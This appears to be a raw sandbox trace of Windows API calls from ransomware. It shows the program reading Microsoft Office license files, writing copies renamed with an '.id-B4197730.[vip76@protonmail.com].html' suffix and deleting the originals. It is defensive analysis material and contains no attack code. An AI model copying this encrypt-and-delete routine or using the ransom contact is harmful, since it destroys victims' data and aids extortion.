	[0201.570] lstrlenW (lpString=".jpg") returned 4
	[0201.570] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0201.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0201.570] lstrlenW (lpString=".doc") returned 4
	[0201.570] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.570] lstrlenW (lpString=".docx") returned 5
	[0201.570] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.570] lstrlenW (lpString=".pdf") returned 4
	[0201.570] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.570] lstrlenW (lpString=".xls") returned 4
	[0201.570] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.570] lstrlenW (lpString=".xlsx") returned 5
	[0201.570] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.570] lstrlenW (lpString=".ppt") returned 4
	[0201.570] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0201.571] lstrlenW (lpString=".zip") returned 4
	[0201.571] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.571] lstrlenW (lpString=".rar") returned 4
	[0201.571] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.571] lstrlenW (lpString=".bz2") returned 4
	[0201.571] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.571] lstrlenW (lpString=".7z") returned 3
	[0201.571] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0201.571] lstrlenW (lpString=".dbf") returned 4
	[0201.571] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0201.571] lstrlenW (lpString=".1cd") returned 4
	[0201.571] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87
	[0201.571] lstrlenW (lpString=".jpg") returned 4
	[0201.571] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.571] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0201.571] lstrlenW (lpString="O365HomePremR_SubTrial3-pl.xrm-ms") returned 33
	[0201.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0201.573] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11183) returned 1
	[0201.573] CloseHandle (hObject=0x510) returned 1
	[0201.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms")) returned 0x220
	[0201.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0201.574] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.574] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0201.575] GetLastError () returned 0x0
	[0201.575] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2baf, lpOverlapped=0x0) returned 1
	[0201.579] WriteFile (in: hFile=0x5e8, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0201.580] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.580] WriteFile (in: hFile=0x5e8, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x116, lpOverlapped=0x0) returned 1
	[0201.580] SetEndOfFile (hFile=0x5e8) returned 1
	[0201.581] CloseHandle (hObject=0x5e8) returned 1
	[0201.581] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.581] SetEndOfFile (hFile=0x510) returned 1
	[0201.863] CloseHandle (hObject=0x510) returned 1
	[0201.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.864] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms")) returned 1
	[0201.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0201.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0201.864] lstrlenW (lpString=".doc") returned 4
	[0201.865] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.865] lstrlenW (lpString=".docx") returned 5
	[0201.865] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.865] lstrlenW (lpString=".pdf") returned 4
	[0201.865] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.865] lstrlenW (lpString=".xls") returned 4
	[0201.865] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.865] lstrlenW (lpString=".xlsx") returned 5
	[0201.865] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.865] lstrlenW (lpString=".ppt") returned 4
	[0201.865] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0201.865] lstrlenW (lpString=".zip") returned 4
	[0201.865] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.865] lstrlenW (lpString=".rar") returned 4
	[0201.865] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.865] lstrlenW (lpString=".bz2") returned 4
	[0201.865] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.865] lstrlenW (lpString=".7z") returned 3
	[0201.865] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0201.865] lstrlenW (lpString=".dbf") returned 4
	[0201.865] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0201.865] lstrlenW (lpString=".1cd") returned 4
	[0201.865] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0201.865] lstrlenW (lpString=".jpg") returned 4
	[0201.865] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0201.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0201.865] lstrlenW (lpString=".doc") returned 4
	[0201.865] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.866] lstrlenW (lpString=".docx") returned 5
	[0201.866] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.866] lstrlenW (lpString=".pdf") returned 4
	[0201.866] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.866] lstrlenW (lpString=".xls") returned 4
	[0201.866] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.866] lstrlenW (lpString=".xlsx") returned 5
	[0201.866] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.866] lstrlenW (lpString=".ppt") returned 4
	[0201.866] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0201.866] lstrlenW (lpString=".zip") returned 4
	[0201.866] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.866] lstrlenW (lpString=".rar") returned 4
	[0201.866] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.866] lstrlenW (lpString=".bz2") returned 4
	[0201.866] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.866] lstrlenW (lpString=".7z") returned 3
	[0201.866] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0201.866] lstrlenW (lpString=".dbf") returned 4
	[0201.866] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0201.866] lstrlenW (lpString=".1cd") returned 4
	[0201.866] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0201.866] lstrlenW (lpString=".jpg") returned 4
	[0201.866] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.866] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0201.867] lstrlenW (lpString="O365HomePremR_SubTrial4-pl.xrm-ms") returned 33
	[0201.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0201.867] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11183) returned 1
	[0201.867] CloseHandle (hObject=0x510) returned 1
	[0201.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms")) returned 0x220
	[0201.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0201.868] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.868] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500
	[0201.869] GetLastError () returned 0x0
	[0201.869] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2baf, lpOverlapped=0x0) returned 1
	[0201.871] WriteFile (in: hFile=0x500, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0201.872] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.872] WriteFile (in: hFile=0x500, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x116, lpOverlapped=0x0) returned 1
	[0201.872] SetEndOfFile (hFile=0x500) returned 1
	[0201.873] CloseHandle (hObject=0x500) returned 1
	[0201.873] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.873] SetEndOfFile (hFile=0x510) returned 1
	[0201.876] CloseHandle (hObject=0x510) returned 1
	[0201.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.877] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms")) returned 1
	[0201.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0201.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0201.878] lstrlenW (lpString=".doc") returned 4
	[0201.878] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.878] lstrlenW (lpString=".docx") returned 5
	[0201.878] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.878] lstrlenW (lpString=".pdf") returned 4
	[0201.878] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.878] lstrlenW (lpString=".xls") returned 4
	[0201.878] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.878] lstrlenW (lpString=".xlsx") returned 5
	[0201.878] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.878] lstrlenW (lpString=".ppt") returned 4
	[0201.878] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0201.878] lstrlenW (lpString=".zip") returned 4
	[0201.878] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.878] lstrlenW (lpString=".rar") returned 4
	[0201.878] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.878] lstrlenW (lpString=".bz2") returned 4
	[0201.878] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.878] lstrlenW (lpString=".7z") returned 3
	[0201.878] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0201.878] lstrlenW (lpString=".dbf") returned 4
	[0201.878] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0201.879] lstrlenW (lpString=".1cd") returned 4
	[0201.879] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0201.879] lstrlenW (lpString=".jpg") returned 4
	[0201.879] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0201.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0201.879] lstrlenW (lpString=".doc") returned 4
	[0201.879] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.879] lstrlenW (lpString=".docx") returned 5
	[0201.879] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.879] lstrlenW (lpString=".pdf") returned 4
	[0201.879] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.879] lstrlenW (lpString=".xls") returned 4
	[0201.879] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.879] lstrlenW (lpString=".xlsx") returned 5
	[0201.879] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.879] lstrlenW (lpString=".ppt") returned 4
	[0201.879] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0201.879] lstrlenW (lpString=".zip") returned 4
	[0201.879] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.879] lstrlenW (lpString=".rar") returned 4
	[0201.879] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.879] lstrlenW (lpString=".bz2") returned 4
	[0201.879] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.879] lstrlenW (lpString=".7z") returned 3
	[0201.879] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0201.879] lstrlenW (lpString=".dbf") returned 4
	[0201.880] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0201.880] lstrlenW (lpString=".1cd") returned 4
	[0201.880] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0201.880] lstrlenW (lpString=".jpg") returned 4
	[0201.880] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.880] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0201.880] lstrlenW (lpString="O365HomePremR_SubTrial4-ppd.xrm-ms") returned 34
	[0201.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0201.881] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=23135) returned 1
	[0201.881] CloseHandle (hObject=0x510) returned 1
	[0201.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms")) returned 0x220
	[0201.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0201.882] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.882] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500
	[0201.883] GetLastError () returned 0x0
	[0201.883] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x5a5f, lpOverlapped=0x0) returned 1
	[0201.885] WriteFile (in: hFile=0x500, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0201.887] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.887] WriteFile (in: hFile=0x500, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x118, lpOverlapped=0x0) returned 1
	[0201.887] SetEndOfFile (hFile=0x500) returned 1
	[0201.887] CloseHandle (hObject=0x500) returned 1
	[0201.887] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.887] SetEndOfFile (hFile=0x510) returned 1
	[0201.891] CloseHandle (hObject=0x510) returned 1
	[0201.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.892] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms")) returned 1
	[0201.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0201.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0201.893] lstrlenW (lpString=".doc") returned 4
	[0201.893] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.893] lstrlenW (lpString=".docx") returned 5
	[0201.893] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.893] lstrlenW (lpString=".pdf") returned 4
	[0201.893] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.893] lstrlenW (lpString=".xls") returned 4
	[0201.893] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.893] lstrlenW (lpString=".xlsx") returned 5
	[0201.893] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.893] lstrlenW (lpString=".ppt") returned 4
	[0201.893] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0201.893] lstrlenW (lpString=".zip") returned 4
	[0201.893] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
